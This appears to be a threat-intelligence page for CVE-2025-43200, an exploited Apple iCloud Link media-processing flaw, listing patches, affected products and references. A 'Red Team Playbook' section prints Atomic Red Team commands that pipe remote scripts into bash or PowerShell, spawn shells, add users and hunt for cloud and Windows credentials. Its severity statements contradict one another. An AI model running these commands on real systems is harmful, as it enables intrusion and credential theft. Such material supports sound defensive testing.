CVE-2025-43200
Overview
This vulnerability is a logic flaw in the media processing component of Apple iOS and iPadOS, specifically when handling photos or videos shared via iCloud Link. The root cause lies in insufficient validation and improper processing logic for maliciously crafted media files, leading to incorrect handling of input data within the media parsing routines. This flaw affects the media handling subsystem across multiple Apple operating systems including iOS, iPadOS, macOS, visionOS, and watchOS.
Vulnerability Description
This issue was addressed with improved checks. This issue is fixed in iOS 15.8.4 and iPadOS 15.8.4, iOS 16.7.11 and iPadOS 16.7.11, iOS 18.3.1 and iPadOS 18.3.1, iPadOS 17.7.5, macOS Sequoia 15.3.1, macOS Sonoma 14.7.4, macOS Ventura 13.7.4, visionOS 2.3.1, watchOS 11.3.1. A logic issue existed when processing a maliciously crafted photo or video shared via an iCloud Link. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals.
Impact
An attacker can exploit this vulnerability by delivering a maliciously crafted photo or video via iCloud Link, requiring user interaction to open the shared media. Successful exploitation may enable execution of arbitrary logic or unauthorized manipulation within the media processing context. This can lead to targeted attacks against specific individuals, potentially compromising device integrity or user data confidentiality. The vulnerability requires no prior authentication but depends on victim interaction with the malicious content, aligning with a low CVSS severity rating.
Solution
Apple addressed this issue by implementing enhanced validation and processing logic checks in affected operating systems. Users and administrators should apply the patches included in iOS and iPadOS versions 15.8.4, 16.7.11, 18.3.1; iPadOS 17.7.5; macOS Sequoia 15.3.1, Sonoma 14.7.4, Ventura 13.7.4; visionOS 2.3.1; and watchOS 11.3.1. Detailed patch instructions and advisories are available at Apple’s official security updates pages: https://support.apple.com/en-us/122173, https://support.apple.com/en-us/122174, and https://support.apple.com/en-us/122345.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A logic issue has been identified in the processing of maliciously crafted photos or videos shared via iCloud Links, affecting various Apple operating systems including iOS, iPadOS, macOS, visionOS, and watchOS. This vulnerability arises from inadequate validation checks when handling media files, which could allow an attacker to execute arbitrary code on the device. The flaw is particularly concerning because it can be exploited through seemingly innocuous media shared over trusted channels, making it difficult for users to recognize the threat. The issue has been addressed in several updates, emphasizing the importance of maintaining current software versions to mitigate risks.
Attack vectors for this vulnerability primarily involve social engineering tactics, where an attacker might share a maliciously crafted media file through iCloud. Users, believing they are receiving a legitimate file from a trusted source, may inadvertently download and execute the harmful content. This exploitation could lead to unauthorized access to sensitive data, remote control of the device, or installation of additional malware. Given the sophistication of the attack, it is likely that this vulnerability has been leveraged against specific high-profile targets, raising concerns about the potential for espionage or data theft.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Apple devices for business operations. The risk extends beyond individual users, as compromised devices can lead to breaches of corporate data, loss of intellectual property, and damage to brand reputation. Additionally, the potential for targeted attacks against specific individuals or groups underscores the need for heightened vigilance among organizations that handle sensitive information. The financial implications of a successful exploit could be substantial, encompassing costs related to incident response, legal liabilities, and regulatory fines.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating software to the latest versions is crucial, as patches often include fixes for known vulnerabilities. Additionally, employing endpoint protection solutions that can identify and block suspicious file types or behaviors can help safeguard against exploitation. User education is equally important; training employees to recognize phishing attempts and suspicious media sharing practices can significantly reduce the likelihood of successful attacks. Regular security assessments and penetration testing can also help identify potential weaknesses in an organization’s defenses.
In summary, the logic issue affecting the processing of media files in various Apple operating systems poses a considerable threat to both individual users and organizations. The potential for exploitation through social engineering tactics highlights the need for robust security measures and user awareness. By prioritizing software updates, employing advanced security solutions, and fostering a culture of cybersecurity awareness, organizations can better protect themselves against the risks associated with this vulnerability and similar threats in the future.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-43200, rising by nearly three-quarters over the past reporting period. This upward trend, coupled with a steady week-over-week increase, signals growing interest or potential preparatory activity by threat actors, despite the absence of new public exploit disclosures. The elevation in EPSS suggests that adversaries may be refining techniques to leverage the logic flaw in Apple’s media processing, possibly in targeted or sophisticated campaigns consistent with previous reports. For defenders, this shift underscores an elevated risk posture, warranting heightened vigilance in monitoring for exploitation attempts, especially given the vulnerability’s medium severity and its presence across multiple Apple operating systems. Although ransomware involvement remains unconfirmed, the increased EPSS score reflects a tangible rise in exploitation likelihood, thereby adjusting the threat level from moderate to a more cautious stance pending further intelligence.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (12)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-43200 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122173 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122174 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122345 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122346 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122900 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122901 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122902 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122903 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/122904 |
| citizenlab.ca |
NVD API
Press/Media Coverage
|
https://citizenlab.ca/2025/06/first-forensic-confirmation-of-paragons-ios-mercenary-spyware-finds-journalists-targeted/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-43200 |